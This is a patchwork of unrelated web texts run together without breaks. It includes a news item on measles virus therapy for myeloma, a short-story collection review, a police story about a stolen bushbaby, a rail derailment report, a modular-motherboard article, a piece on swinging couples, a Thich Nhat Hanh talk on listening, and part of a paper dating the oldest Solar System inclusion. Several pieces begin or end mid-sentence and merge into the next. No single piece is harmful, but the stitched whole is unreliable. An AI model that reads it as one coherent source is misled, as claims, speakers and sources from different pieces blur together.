"There's some suggestion that it may be stimulating the patient's immune system to further recognize the cancer cells or the myeloma cells and help mop that up more effectively than otherwise."
Having effectively completed a phase I clinical trial - to prove the concept that the measles virus can fight cancer - the team is now moving quickly into a phase II trial involving more patients.
They also intend to test the virus's effectiveness as a tool to fight other cancers, such as head and neck, brain and ovarian cancers and mesothelioma. And they are engineering other viruses that may be able to kill cancer cells.
Dr. Russell says they have recently started to think along the lines of "a single shot cure for cancer, and that's our goal with this therapy."
He and two other authors of the study, as well as the Mayo Clinic, have declared a financial interest in the methods used in the study, which was funded by the National Cancer Institute of the National Institutes of Health, Al and Mary Agnes McQuinn, The Harold W. Siebens Foundation and The Richard M. Schulze Family Foundation.
Medical News Today recently reported on a study in Nature Genetics, where scientists from The Institute of Cancer Research in the UK found a gene involved in aging is linked to multiple myeloma. The team said the discovery brings the total genetic variants linked to myeloma to seven and may help establish the genetic causes of the disease.Once a platform for many a fine author – Edgar Allan Poe, HP Lovecraft, HG Wells … hell, even Charles Dickens – the short story has long fallen out of favour. Nineteenth century authors looking to establish themselves would submit their short stories or serialized novel to magazines and journals. It is easy to forget that one of the greatest literary creations of all time – Sherlock Holmes – was a regular appearance in short story form within the pages of The Strand Magazine; only four novel-length Sherlock stories were ever written.
Readers in the Victorian and Edwardian eras wanted short stories that they could follow over time and discuss with friends – they were the fin de siècle equivalent of devouring a HBO series box-set and dissecting it over the water cooler with colleagues. This trend continued during the 1930s to the 1950s with the rise of science fiction magazines, which featured legends like HP Lovecraft and Raymond Bradbury.
The arrival of television, however, all but killed off the weekly and monthly literary journals. Today, there seems to be little demand for short stories, and the big publishing houses won’t touch them unless you are an established name like Neil Gaiman. I think this is a terrible shame; some of the best books I have ever read have been collections of short stories.
This brings me onto Isham Cook and his collection entitled The Exact Unknown. Isham Cook is a mysterious figure (yes, that’s a penname) who has been writing about China and other interests for quite some time. In his photograph on his Amazon Author Page, he appears like Marlon Brando in Apocalypse Now, emerging from the shadows to tell us about “The horror, the horror” of the lives we lead.
Cook does not like the term “short story.” In the superbly written introduction (don’t skip it) to The Exact Unknown, he reveals his distaste for the term and explains why he prefers the word “tale.”
I adopt the word tale rather than the short story as my literary medium for a number of reasons. Words undergo semantic change. The “short story” means something quite different to younger people these days than it does to the dwindling genteel readership familiar with the term that is now dying off and will be replaced in due time. The younger generation is liable to think short story is a short news story. The distinction between fiction and nonfiction too is blurring, increasingly tripping up even well known writers, who confuse rhetoric with veracity when it’s all rhetoric anyway and are then accused of plagiarism.
This collection of tales is a fun and breezy read; the tales are normally no more than eight or ten pages in length, though there are a handful of exceptions. You could quite happily read one or two on your daily commute (my Kindle is stacked with short stories for this very purpose).
True to his introductory words, the tales seem to blend fiction and non-fiction. Some are told in the third-person, others in the first-person, which seem to draw on elements of the author’s own personal experiences of life and love in China. And there is a lot of life and love in this book.
Cook does not shy away from writing about somewhat taboo subjects like sex and prostitution. I have never met the author, but I would guess that he is your classic open-minded liberal of the 1960s and 70s. To Cook, as long as nobody is getting hurt then adults are adult enough to make their own choices in life and have the liberty to pursue their desires. This attitude seems to be on the wane as today’s liberals become even more puritan in sexual matters than the traditional establishment that they replaced. It is refreshing to read Cook’s honesty and openness when it comes to matters of the bedroom. Others will of course disagree. As Cook himself points out, any writer describing situations where foreign men and Chinese women have sexual relations is opening himself up to an avalanche of criticism from many different angles.
I thoroughly enjoyed the twenty tales contained within The Exact Unknown. Cook writes well and cleanly. I would guess that he is a Professor of English or some such equivalent as his grammatical structures and story arcs are all well crafted. Many of the tales feature sex and sexual relations between Chinese girls and their English teachers. One of my few complaints of this book is the similar backgrounds of the protagonists; the figure of the wandering English Professor on the Chinese campus does get a little repetitive.
There are some gems within this collection and Cook mixes up the narrative styles just enough to keep it interesting. He obviously prefers writing dialogue as many of the tales are dialogue heavy, but when he does describe the world around his characters, he does it with an eye for accuracy and the interesting detail. For example, here is Cook on those angry individuals often encountered on public transportation:
There are those who congregate at the subway door even when there are few passengers and there is ample room in the car. Some do this heedlessly, but I have noticed more and more of the angry doing this on purpose. So with some passengers blocking the entrance because they need to get off soon, others doing so absentmindedly, and still others doing so deliberately, it can be quite an ordeal nowadays to get on, and not just during rush hour. The curious thing is that most are barely aware of your exertions in pushing past them and no feathers get ruffled, though caution is advised when forcing yourself past the angry. One sympathizes with their need to maintain a veneer of dignity and their poignant desire, in the absence of any actual power in their life, to command a small patch of territory. It’s more difficult to do this out on the street than down in the subway, where by blocking the door they can control and regulate the flow people on and off the train. They remind me of those quixotic homeboys in imaginary bearskins and epaulets stationed at elevators in Chicago housing projects, deciding who can enter or not and exacting fees at will. Still, force yourself on you must, not that one wants to cross them, as difficult as they’re going to make it for you.
As well as sex, the other dominant theme within The Exact Unknown is the blurring between fiction and reality. Cook believes that the best stories are deliberately vague on what is real or not. I tend to agree. My favourite tales within the book were those that featured a situation where it was difficult to distinguish who was telling the truth or who was playing whom. A tale about customers getting cheated at Beijing Zoo’s Clothing Market leaves us unsure who exactly was the one doing the cheating. A casual affair with a student may or may not have been recorded. A one-night stand with a Shandong woman raises questions on whether the expat narrator was really the one doing the game-playing. Anybody who has lived in China – that land of endless ambiguity – will appreciate the infinite shades of grey with which Isham paints his tales.
Not every story is a winner – a couple seem a little rushed in their conclusion and I was left wondering if there was more of the story to come later in the book. The main culprits for this flaw are Let the Sunshine In and The Hickey. Both feature incidents that occur during the courtship of an American teacher and his young student, though I felt they left the reader hanging at the end. The final tale in the collection, Injaculation – a bizarre tale featuring temple gods and what I assumed to be tantric fertility rites – left me completely baffled.
However, apart from one or two stumbles, I enjoyed every minute of The Exact Unknown and I take my hat off to Isham Cook. Not many authors – certainly not those with an eye to future publication from a HarperCollins or a Penguin or those who concern themselves overly with how they are perceived by the public – write with such truth, wit and honesty, especially when it comes to writing about China. To quote Cook’s introduction again: “Literature on China as well is bounded by the parameters of the tragic and the exotic and the sentimental in between, packaging a people as likeable as us if not quite like us.” Finally, with The Exact Unknown there is a voice outside the stereotypes.
* * *
Isham Cook blogs at http://www.ishamcook.com.
The Exact Unknown (and his other works are available on Amazon.
(This is a slightly abridged version of a review that first appeared on Arthur Meursault’s blog.Police say the owner of Zany Zoo Pet Store tipped a prostitute for her services by giving her a bushbaby. Photo courtesy Eugene Police Department
EUGENE, Ore. (KVAL) - The Eugene Police Department says it recovered a stolen bushbaby from a prostitute. They say the owner of Zany Zoo Pet Store in Eugene used the bushbaby to tip the prostitute for her services.
According to EPD, Zany Zoo Pet Store reported burglaries on March 1 and March 6. They say stolen property included Girl Scout cookie money, a laptop computer and the primate, a Galago.
After investigating the case, police recovered the primate from an out-of-town prostitute on March 17 in a local area hotel. Police say the woman cooperated and gave detectives a statement and the bushbaby.
Based on interviews and statements, detectives discovered Nathan Allen McClain was the man who paid the prostitute for the sexual encounter with store funds, which included the donation jar money. Police say McClain owns the pet store and the woman said he gave her the animal as a tip for her services.
On March 19, Oregon State Police arrested McClain in the parking lot of their Albany office on a DUII-controlled substance charge. Police say they saw him leaving the adult porn shop next door and he appeared to be under the influence of methamphetamine.
McClain was lodged at the Linn County Jail. While detectives interviewed him on March 21, they found out he paid the prostitute for sex with a deposit and donation money from the store.
On April 21, police arrested McClain again for prostitution and lodged at the Lane County Jail. He was released later that day.
The police investigation revealed the burglaries were speculative. The missing Girl Scout money was never recovered and is still under investigation.
The exotic animal, Gooey, is safe and currently at a nearby sanctuary until the USDA issues a new license for Zany Zoo Pet Store.
Zany Zoo Pet Store posted the following statement to Facebook after KVALpublished the story:Philippe Bianchi plans a foundation to help youngsters
Philippe Bianchi, the father of the tragically died Jules Bianchi wants to set up a foundation bearing his son's name to help rising stars in motorsport.
In an interview with 'Auto Hebdo', Bianchi revealed that he has already found a prominent supporter of the foundation. The reigning Monarch of the Principality of Monaco, Albert II wants to help in the project.
„He was very affected by the tragedy” added Biachni.
„The aim is to support young drivers, who are very talented, with our experience and our financial means on their way to the top.”
An exhibition with cars and karts, sponsorships, online shop and events are also planned.
„We want to do what was also done for Jules.”
Philippe Bianchi also wants to bring a „JB17” kart chassis on the market.A train carrying crude oil and propane derailed Thursday morning in western Pennsylvania and leaked thousands of gallons of oil, the latest in a series of derailments that have highlighted the dangers of transporting oil by rail.
The Norfolk Southern Corp. train was on its way from Chicago to Paulsboro, N.J. when it went off the tracks near Vandergrift, roughly 35 miles from Pittsburgh. Twenty-one of its 120 cars derailed and one of the cars hit a metal processing building, but no one was injured.
Of the 21 cars that derailed, 19 were carrying crude oil and two were carrying propane.
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Four of the derailed cars spilled between 3,000 and 4,000 gallons of oil.
According to Philly.com, the oil is from the Canadian tar sands. The Pittsburgh Post-Gazette reports that "Norfolk Southern spokesman Dave Pidgeon said 19 of the derailed cars were carrying a type of crude oil that is thick enough to be lifted with a shovel."
"We have a small leak coming from one car. It's contained. There's a storm drain near it, but it's not into the storm drain," Westmoreland County spokesman Dan Stevens said. "The hazmat crews for the railroad are on site and will be taking care of that situation."
_______________An ambitious group of hardware hackers have taken the fundamental building blocks of computing and turned them inside out in an attempt to make PCs significantly more efficient.
The group has created a motherboard prototype that uses separate modules, each of which has its own processor, memory and storage. Each square cell in this design serves as a mini-motherboard and network node; the cells can allocate power and decide to accept or reject incoming transmissions and programs independently. Together, they form a networked cluster with significantly greater power than the individual modules.
The design, called the Illuminato X Machina, is vastly different from the separate processor,memory and storage components that govern computers today.
"We are taking everything that goes into motherboard now and chopping it up," says David Ackley, associate professor of computer science at the University of New Mexico and one of the contributors to the project. "We have a CPU, RAM, data storage and serial ports for connectivity on every two square inches."
A modular architecture designed for parallel and distributed processing could help take computing to the next level, say its designers. Instead of having an entire system crash if a component experiences a fatal error, failure of a single cell can still leave the rest of the system operational. It also has the potential to change computing by ushering in machines that draw very little power.
"We are at a point where each computer processor maxes out at 3Ghz (clock speed) so you have to add more cores, but you are still sharing the resource within the system," says Justin Huynh, one of the key members of the project. "Adding cores the way we are doing now will last about a decade."
Huynh and his team are no strangers to experimenting with new ideas. Earlier this year, Huynh and his partner Matt Stack created the Open Source Hardware Bank, a peer-to-peer borrowing and lending club that funds open source hardware projects. Stack first started working on the X Machina idea about 10 months ago.
Computing today is based on the von Neumann architecture: a central processor, and separate memory and data storage. But that design poses a significant problem known as the von Neumann bottleneck. Though processors can get faster, the connection between the memory and the processor can get overloaded.That limits the speed of the computer to the pace at which it can transfer data between the two.
"A von Neumann machine is like the centrally planned economy, whereas the modular, bottom up, interconnected approach would be more capitalist," says Ackley."There are advantages to a centrally planned structure but eventually it will run into great inefficiencies."
By creating modules, Huynh and his group hope to bring a more parallel and distributed architecture. Cluster-based systems aren't new. They have been used in high end computing extensively. But with the Illuminato X Machina they hope to extend the idea to a larger community of general PC users.
"The way to think of this is that it is a system with a series of bacteria working together instead of a complex single cell amoeba," says JP Norair, architect of Dash 7, a new wireless and data standard. An electrical and computer engineering graduate from Princeton University, Norair has studied modular architecture extensively.
Each X Machina module has a 72 MHz processor (currently an ARM chip), a solid state drive of 16KB and 128KB of storage in an EEPROM (electrically erasable programmable read-0nly memory) chip. There's also an LED for display output and a button for user interaction.
Every module has four edges, and each edge can connect to its neighbors. |
. "There has to be some form of friendship evolve out of it. There has to some connection, but it doesn't have to be a love connection."
Friends with benefits don't let friends cross emotional boundaries.
"There are a few paradoxes inherent to middle-class spouse sharing that your readers should be aware of," Gould writes in an email.
No. 1: Only happily married couples have happy experiences.
The ones we interviewed stressed that trust, openness, honesty and good communication are crucial to being able to get past the jealousies and insecurities that will inevitably arise.
"If you don't have that baseline relationship already with your partner, swinging isn't the choice to make," Mitch cautions. "It won't solve problems, it will cause problems."
For those who want to take a swing at a lifestyle that allows them to have their cake and eat it, too, Christine suggests taking things slow.
"Swinging is a progression. When you first start, you make rules and you say you can't kiss the other person and you can't go out of the room because I need to see you. And eventually that just goes out the window."
Want to get a head start on your day? Get the day’s breaking stories, weather forecast, and more sent straight to your inbox every morning.
And when the green-eyed monster rears it's head?
"There's nothing to be jealous of," Christine says. "I know who I'm saving my last dance for. I know who I'm going home with. I fell in love with him for a reason and that reason remains."
carolin.vesely@freepress.mb.ca
"Swinging is social-sexual intercourse with someone other than your mate, boyfriend or girlfriend, excepting the traditional one-on-one dating. It may be defined as recreational social sex. The activity may occur at a swing party, a couple-to-couple encounter, or with a third person in a threesome. Though single men and women are involved, it is primarily an activity of couples."
— North American Swing Club Association (NASCA)on •
Yesterday, Sister True Virtue talked a little bit about the fourth precept concerning speaking and listening. This is a very deep practice. Listening is an art, and many people do not have the capacity for it, especially in the case of listening to the suffering of others. One reason for that is that in the listeners themselves, there is also much pain. The store consciousness is filled with pain and grief, and that is why it is so difficult for such people to listen to others. In order to be able to listen, we need to learn how to transform the suffering in ourselves.
Talking is also an art because if we have many internal formations within us and if we do not know the art of mindful breathing, then while speaking we shall be carried away by our feelings, our anger, and what we say may hurt people deeply. Both speaking and listening must, therefore, be practised together with mindful breathing and working at transforming the internal formations within us.
During my second dharma talk here, I said that sometimes we can deal directly with our pain by welcoming it into the living room of mindfulness, and sometimes we just let it sleep there quietly in the depths of our consciousness, taking the opportunity to water the seed of happiness within us in order to restore a balance. We have to do both. Psychotherapy believes that if you have pain, you should be able to express it, but because the people around you also have a lot of pain, they are not able to listen to you. Each person is an island. If no one has the capacity to listen to another person, everyone feels very alone. You get sick. No communication is possible. You cannot tell anyone about your pain. That is why psychotherapists have become important in our society. They are supposed to be people who will sit and listen to us. The first task of psychotherapists is to sit quietly and listen; they are not supposed to talk back. If they argue with us, if they talk back, then they are not psychotherapists. We don’t need them and we will not pay them! I need you to sit and listen. I don’t need your advice. I don’t need your condemnation. The psychotherapist should practise listening with empathy. The question here is: Is the psychotherapist happy or not? If she or he is filled with internal formations, then even if he pretends to sit quietly to listen to you, he will not really be listening and you will not feel relieved. That you can see very well. When someone is truly listening, you feel it; and when someone pretends to listen, you know. Psychotherapists, therefore, are those who have to practise, first. They are supposed to be bodhisattvas helping others, but in order to be able to listen, one should empty oneself; one should be able to transform one’s own internal formations.
Even if you don’t suffer too much, if you sit and listen to four people in a row relating their painful experiences, you will find it difficult to eat your meal after that. You need time in between to practise walking meditation, to play with the children, and so on, in order to re-establish the balance. Then you can eat your meal. The next day you are ready to encounter another person. If psychotherapists, doctors, and healers of any kind, are too busy, if they don’t take the time to re-create themselves, they will not be in a position to help anyone. They will be burned up very quickly. In the helping professions’ retreats, I urge that psychotherapists and doctors arrange their daily schedules so that they have the opportunity to recover, to be fresh again, to be able to listen again, in order to truly serve the people who come to them.
In Buddhist circles, Avalokiteshvara is referred to as a person who knows the art of listening. In fact, his name is translated as ‘the one who listens to the pain of the world’ — listening, contemplating the cries of the world. It is because of that practice that he became fully enlightened. And he continued to listen.
We all know that if we love someone, if we truly want to make someone happy, the first thing we must cultivate is the art of listening, because listening is very healing. If we spend time listening to the pain of the person we love, he or she will be relieved. And listening without judging releases pain. In the evocation of bodhisattva’s name we read this: ‘We evoke your name “Avalokiteshvara”. We aspire to learn your way of listening, in order to help relieve the suffering in the world. You know how to listen in order to understand. We evoke your name in order to practise listening with all our attention and open heartedness. We will sit and listen without any prejudice. We will sit and listen without judging or reacting. We will sit and listen in order to understand. We will sit and listen so attentively that we will be able to hear what the other person is saying and also what the other person is leaving unsaid. We know that, just by listening deeply, we alleviate a great deal of pain and suffering in the other person.’ So, evoking the name of Avalokiteshvara is to practise the art of listening. Then every one of us is the bodhisattva. Each of us has an Avalokiteshvara bodhisattva inside waiting to grow. So, this is not exactly a prayer, but more a kind of mindfulness practice. You evoke the name of the Buddha in order to bring about your capacity for listening, because listening is healing, relieving the suffering of the other person. You know, however, that your power of listening is limited. Therefore, the moment you feel that you cannot continue to listen, you have to tell him or her, ‘I need to do some walking meditation now. We’ll meet next week,’ or something like that. You have to refuel yourself with freshness; you need to practise walking meditation, sitting meditation, drinking tea, going with the children, anything that can bring back your balance, and that is what doctors and psychotherapists have to do.
From a talk given at the Thich Nhat Hanh Retreat September 1991.
Click here to read more by Thich Nhat Hanh.
First published in the February 1992 Buddhism Now.
Categories: Beginners, Buddhist meditation, Metta, Thich Nhat HanhLitecoin Audit This page shows all user balances and all coins under the control of Litecoinlocal.net User balances: 447.09777341 Actual coins owned by Litecoinlocal.net: 416.09832492
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walks into a "fairy tale convention" at a hotel. Harwell continues to follow the girl into the hotel. Once in the hotel, Harwell tries to find the girl by looking through different rooms. However, there are short clips from Shrek each time he opens the door. Finally, he tries one more door and thinks it's the girl. However, it is a blond-haired monkey, who dances with a girl dressed as a banana. With no luck, Harwell walks out of the hotel, but the girl speeds off in her red convertible. Hoping to catch up, he sneakily takes a red cape and borrows a silver Lexus car driven by a costumed gingerbread man who is injured on crutches. Then, Harwell winks at the camera as the chase begins. While driving, he throws his red cape up and into the street. He then stops at a party where the girl is and goes into a tent. However, he sees multiple blond-haired girls with the same red shirt on, all dancing. By the time he catches up to her, the girl goes on a boat. Harwell asks a boat captain for assistance to win the girl. The band then performs on the boat during a heavy storm. Meanwhile, Harwell and the captain are on the lookout of the girl. He finally catches her on a dock and says that she forgot her keys. Just as he is about to leave, the girl recognizes him as Steve from Smash Mouth and asks for his number. However, Harwell declines and says he has to go. Finally, the girl then chases him and yells, "Wait! Please! I love you!"High-resolution timescales of early Solar System processes such as planetary accretion and differentiation rely on precise, accurate and consistent ages obtained with the absolute long-lived 207Pb–206Pb chronometer, based on the decay of 235U–207Pb (half-life of ∼704 Myr) and 238U–206Pb (half-life of ∼4.47 Gyr), and relatively short-lived (now extinct) chronometers such as 26Al–26Mg (half-life ∼0.73 Myr), 53Mn–53Cr (half-life ∼3.7 Myr) and 182Hf–182W (half-life ∼8.9 Myr). In recent years, advances in analytical techniques, particularly improvements in the precision of mass spectrometric analyses, have enabled sub-Myr precision on the ages obtained from these high-resolution chronometers, but have also revealed inconsistencies between these ages2,7. In particular, there are inconsistencies in the ages of calcium–aluminium-rich inclusions (CAIs) as determined by different high-resolution absolute and relative chronometers6. These submillimetre-to-centimetre-sized inclusions are believed to have formed by condensation at high temperature in the protoplanetary disc (that is, unmelted CAIs), and some later experienced one or more brief episodes of partial or complete melting (for example igneous type B CAIs; ref. 8). As such, CAIs are among the earliest solids to form in the solar nebula8, and therefore their absolute ages can be used to define the time of formation of the Solar System. Current estimates of the high-precision Pb–Pb ages for type B CAIs from the CV3 chondrites Allende and Efremovka range from 4,567.11±0.16 Myr (refs 1, 6) to 4,568.5±0.5 Myr (ref. 9), with internal isochrons for individual CAIs from these meteorites defining ages strictly in the range of 4,567.1–4,567.6 Myr (refs 1, 4, 6). This range of CAI ages is inconsistent with the short time interval of less than a few tens of thousands of years for CAI formation estimated from 26Al–26Mg isotope systematics5,10,11. Analytical methodologies involved in Pb–Pb dating (in particular, differences in the types of mass spectrometer and in the chemical treatments) are unlikely to be the source of the apparent range in the Pb–Pb ages reported for CAIs because (1) Pb isotope analyses using double-spike and Tl-doping methods measured by multicollector inductively coupled plasma mass spectrometer in various institutions, including our instrument at Arizona State University (ASU), are comparable in precision and accuracy to those obtained by thermo-ionization mass spectrometer12 and (2) we have previously tested various leaching protocols on different fractions of an Allende type-B CAI and have excluded the possibility of leaching-induced Pb isotope fractionations4.
Recently, it was argued that CAI Pb–Pb isochron dates based on the most radiogenic analyses spanned a relatively narrow range from ∼4,567.1 to 4,567.6 Myr, whereas older dates based on less radiogenic data are likely to have been affected by a systematic error6. As such, it was suggested that the younger Pb–Pb ages of ∼4,567 Myr reflect the true formation age of CAIs and time of Solar System formation. Nevertheless, all CAIs for which Pb–Pb ages have been obtained thus far have been from the Allende and Efremovka CV3 chondrites. It is well recognized that these two meteorites have undergone extensive secondary processing on their parent bodies13,14, which may have affected the U–Pb isotope systematics in their CAIs.
With the goal of obtaining better constraints on the age of the Solar System and clarifying the possible causes of the apparent discrepancies between high-resolution absolute and relative chronometers, we have investigated the 207Pb–206Pb and 26Al–26Mg isotope systematics in bulk fragments and mineral separates of a type-B CAI from the CV3 chondrite Northwest Africa (NWA) 2364 (hereafter referred to as CAI 2364-B1; see Supplementary Information for sample description).
The Pb isotopic compositions of the acid washes from seven leaching steps (L 1 –L 7 ) and final residues (R) obtained from two bulk (interior and rim) and two mineral fractions (interior) of CAI 2364-1 were measured by multicollector inductively coupled plasma mass spectrometer at ASU (see Supplementary Information for further analytical details, figures and data tables). The measured 206Pb/204Pb ratios, corrected for blank contributions, range from 48 to 11,061 for the acid washes (called leachates hereafter), and from 1,069 to 5,394 for the residues remaining after the acid-washing protocol (Table 1 and Supplementary Table S1). These extremely high 206Pb/204Pb ratios indicate that our leaching protocol effectively removed any terrestrial Pb that might have contaminated the meteorite during its residence in the Saharan desert (Supplementary Fig. S4). The Pb isotopic compositions of the residue and leachates from the rim fraction are discordant with the compositions of the last leachates and residues of the three interior fractions (Fig. 1a), which is reflected by their younger model ages (Supplementary Table S1). This attests to the presence of a common Pb component in the rim fraction, which may be attributed to a contribution of Pb from the matrix (Supplementary Fig. S1). When we consider only the residues and corresponding last leachates (L 7 ) of the three interior fractions (bulk and two mineral separates), with highly radiogenic 206Pb/204Pb ratios >950, we obtain an internal Pb–Pb isochron age of 4,568.67±0.17 Myr (2σ, mean square weighted deviation (MSWD)=1.4), assuming the conventionally used value for the 238U/235U ratio for natural U of 137.88. Recently, precise analyses of the 238U/235U ratio of the NBS SRM 950a and 960 standards in multiple laboratories have demonstrated that this value for natural U standards is actually somewhat lower at 137.837±0.015 (ref. 15). If the revised value of 137.84 for the natural U isotopic composition is used for the Pb–Pb age calculation as recommended15, the Pb–Pb isochron age of the 2364-B1 CAI is 4,568.22±0.17 Myr (Fig. 1b; Table 1).
Table 1: Pb–Pb isotope data and Canyon Diablo Troilite (CDT) model ages of the last leachates (L 7 ) and corresponding residues of the three interior fractions (no.s 1–3) from the 2364-B1 CAI. Full size table
Figure 1: 207Pb/206Pb versus 204Pb/206Pb in bulk and mineral fractions (residues and leachates with 206Pb/204Pb>950) of the type-B CAI 2364-B1. a, Residues (R; filled symbols) and the last three leachates (L 5, L 6 and L 7 ; open symbols) of bulk and mineral fractions of the interior (no.s 1–3) and rim (no. 4) of the CAI 2364-B1. The black line is the Pb–Pb internal isochron shown in Fig. 1b. b, The Pb–Pb internal isochron based on R and L 7 from the three interior fractions of 2364-B1 gives an absolute age of 4,568.2+0.2 −0.4 Myr (where the uncertainty includes the possibility of deviation of the 238U/235U ratio of this CAI from the value of 137.84 (ref. 15) based on its measured Th/U ratio). Error ellipses are ±2σ. See Supplementary Information for details. Full size image
The nine unleached bulk and mineral fractions of the CAI 2364-B1 that were analysed for Al–Mg isotope systematics have a narrow range of 27Al/24Mg ratios (2.30–4.22) (Fig. 2). The radiogenic 26Mg excesses (δ26Mg*) in these fractions range from +0.82‰ to +1.52‰ (Supplementary Table S2). The Al–Mg internal isochron yields an initial 26Al/27Al ratio of 5.03 (±0.26)×10−5, and an initial δ26Mg* of 0.02±0.06‰ (2σ, MSWD=1.2) (Fig. 2). This is consistent with the canonical 26Al/27Al value of 5.2 (±0.2)×10−5 found for most CAIs (refs 5, 8), and indicates that the duration of the high-temperature event that equilibrated Mg isotopes in the CAI 2364-B1 was at most ∼110,000 yr and that the Al–Mg system has subsequently remained undisturbed in this inclusion. We do not find any evidence for supercanonical values such as those reported previously by several workers10,11,16.
Figure 2: Al–Mg isotope systematics in bulk and mineral fractions of the type-B CAI 2364-B1. The slope of the best-fit line (black) corresponds to an initial 26Al/27Al ratio of 5.03 (±0.26)×10−5 (MSWD=1.2). The error envelope on the isochron regression is shown as the grey lines. Errors on the Mg isotope ratios are ±2SE, and errors on the 27Al/24Mg ratios are ±2% (2SD; see Al–Mg isotopic data in Supplementary Information). Full size image
The Pb–Pb internal isochron age of the CAI 2364-B1 is 1.1±0.4 Myr older than those of Allende type-B CAIs (refs 4, 5), and 1.6±0.3 Myr older than that of the E60 type-B CAI (refs 1, 6) (regardless of whether a value of 137.88 or 137.84 is assumed for the U isotopic composition for the Pb–Pb age calculations) (Fig. 3). This range in Pb–Pb ages is inconsistent with the Al–Mg systematics in these CAIs (refs 1, 5, 6, 10, 11), and possible explanations include secondary U–Pb isotopic disturbance and variations in the U isotopic compositions of CAIs. The secondary alteration scenario would require that while the U–Pb systematics in the Allende and Efremovka CAIs underwent disturbance their Al–Mg systematics were variably affected (for example, in the Efremovka CAI E60, ref. 17, or in Allende CAIs, refs 4, 5), implying that in CAI phases diffusive equilibration of Pb may have occurred more readily than that of Mg. Considering factors such as grain sizes and cooling rates at the initial temperatures, experimental investigations of the diffusion of Pb in pyroxenes18 and Mg in melilite and anorthite19,20 suggest that this could be a feasible explanation.
Figure 3: Comparison of absolute internal Pb–Pb ages of CAIs with the Al–Mg, Hf–W and Mn–Cr model ages for CAIs anchored on the isotope systematics of the D’Orbigny angrite. The Pb–Pb age and Al–Mg model age for CAI 2364-B1 (this study), and Mn–Cr and Hf–W model ages for CAIs (based on previous studies), calculated relative to the D’Orbigny angrite (vertical grey band; see Supplementary Table S3 for parameters used for calculations of the model ages, with their associated errors, and corresponding references). For comparison and consistency, we show the range of Pb–Pb internal isochron ages for CAIs from Allende and Efremovka CV chondrites1,4,5,6 and the range of Pb–Pb ages for chondrules from the CR and CV chondrites1,26 after recalculating the ages assuming 238U/235U=137.84 (ref. 15). Also shown here is the range and the relative frequency of Al–Mg ages of chondrules from carbonaceous and ordinary chondrites28. Full size image
Recent work has shown that 238U/235U ratios in Allende CAIs vary by as much as −3.5‰ relative to the NBS SRM 950 U standard and correlate with Th/U and Nd/U ratios, indicating the presence of live 247Cm in the early Solar System21. The U isotope compositions or trace element (that is, U, Th, Nd) abundances have not been reported for CAIs for which Pb–Pb internal isochron ages have been determined previously1,4,5,6. To assess whether the CAI 2364-B1 may have a 238U/235U ratio that deviates significantly from the assumed value for natural U (previously assumed to be 137.88, but recently revised to 137.84; ref. 15), in which case the Pb–Pb age determined here would require a correction), we have measured the Th/U ratios in aliquots from unleached mineral separates and bulk fractions. The Th/U ratios in these mineral separates and bulk fractions range from 1.1 to 2.8 (±10%,2SD) (Supplementary Table S2). From the correlation (and including the uncertainties) of the Th/U ratios with the 238U/235U ratios in Allende CAIs (ref. 21), we can infer from the range of Th/U ratios in the CAI 2364-B1 fractions a possible value of 238U/235U of 137.81–137.83 (Supplementary Fig. S5). This implies that the Pb–Pb age of this CAI may be up to 0.3 Myr younger than the isochron date calculated with the assumption of a 238U/235U ratio of 137.84 (ref. 15). Therefore, taking this source of uncertainty into consideration, the age of CAI 2364-B1 is 4,568.2+0.2 −0.4 Myr. This age is the oldest high-precision Pb–Pb internal isochron date obtained thus far for any Solar System object and is between 0.3 and 1.9 Myr older (including uncertainties on all the respective Pb–Pb isochron ages) than the internal Pb–Pb isochron ages obtained for other individual CAIs from Efremovka and Allende1,4,5,6 (after the latter are also corrected for the recently revised isotopic composition for natural U standards15, which corresponds to an age adjustment of −0.45 Myr for all of these objects) (Fig. 3). The Pb–Pb age of the CAI 2364-B1 is thus the oldest absolute age yet obtained for any Solar System material and is, therefore, the best estimate for the time of formation of the Solar System, defined here as the formation of the first solid grains in the Solar protoplanetary disc.
Using the Al–Mg and Pb–Pb isotope systematics of the D’Orbigny angrite as an anchor, we can calculate an Al–Mg model age for CAI 2364-B1. With an absolute Pb–Pb age of 4,563.36±0.34 Myr (refs 15, 22) (corrected for the measured U isotopic composition in D’Orbigny pyroxenes; see Supplementary Table S3 for further details), and a corresponding initial 26Al/27Al of 5.06 (±0.92)×10−7 (ref. 23) for D’Orbigny, we obtain an Al–Mg model age of 4,568.14±0.38 Myr for CAI 2364-B1 (Fig. 3). The Pb–Pb absolute age reported here for CAI 2364-B1 is thus consistent with its Al–Mg model age, as well as with the 53Mn–53Cr and 182Hf–182W models ages for Solar System formation (Fig. 3, and Supplementary Table S3). In contrast, the absolute Pb–Pb internal isochron ages determined previously for CAIs from Allende and Efremovka1,4,5,6 are not concordant with their Al–Mg model ages relative to the D’Orbigny anchor. As discussed earlier, this may reflect disturbance of the isotope systematics in the CAIs from these two meteorites by secondary processing14,17. The consistency between absolute and relative chronologies in CAI 2364-B1 indicates that the short-lived parent radionuclides were homogenously distributed in the solar protoplanetary disc, including the CAI formation region. This in turn favours a stellar nucleosynthetic source for these radionuclides rather than local irradiation within the solar nebula.
In addition to CAIs, chondrules are the other significant chondritic components that were formed in the solar nebula. The formation time interval between CAIs and chondrules is important to constrain because it has implications for the lifetime of the solar protoplanetary disc as well as for the initial abundance of 60Fe in the early Solar System. The latter is significant because 60Fe can only be efficiently produced during stellar nucleosynthesis and has the potential to serve as a prominent heat source for melting and differentiation in the early Solar System; its initial abundance is difficult to assess through direct measurements of Fe–Ni systematics in CAIs owing to complicating factors such as secondary alteration effects and the presence of nucleosynthetic anomalies in the isotopes of the daughter element24, but may be inferred on the basis of Fe–Ni systematics in chondrules and the formation interval between these objects and CAIs (ref. 25). Thus far, high-precision Pb–Pb ages have been reported for chondrules from the CV chondrite Allende26, the CR chondrite Acfer 059 (ref. 1) and the CB chondrite Gujba27. With the exception of the Gujba chondrules, which were formed relatively late as a result of a giant impact between planetary embryos after the dust in the protoplanetary disc was dissipated27, these Pb–Pb ages of chondrules are, on average, 2.3±0.9 Myr younger than those of Allende and Efremovka CAIs. The older age for CAI 2364-B1 reported here increases this average time difference between CAI and chondrule formation to 3.2±0.8 Myr (for the sake of consistency, all ages shown in this figure have been recalculated assuming 238U/235U=137.84; ref. 15; Fig. 3). This is towards the longer end of the time interval of chondrule formation events (that is, ∼1.2 to ∼4 Myr after CAI formation) as recently deduced from high-precision Al–Mg systematics in chondrules from carbonaceous and ordinary chondrites28. This raises the question of chondrule storage in the solar nebula over an extended period of ∼3–4 Myr after CAI formation before their accretion into meteorite parent bodies, which may be addressed by turbulence in the solar nebula29. Furthermore, this longer time interval yields 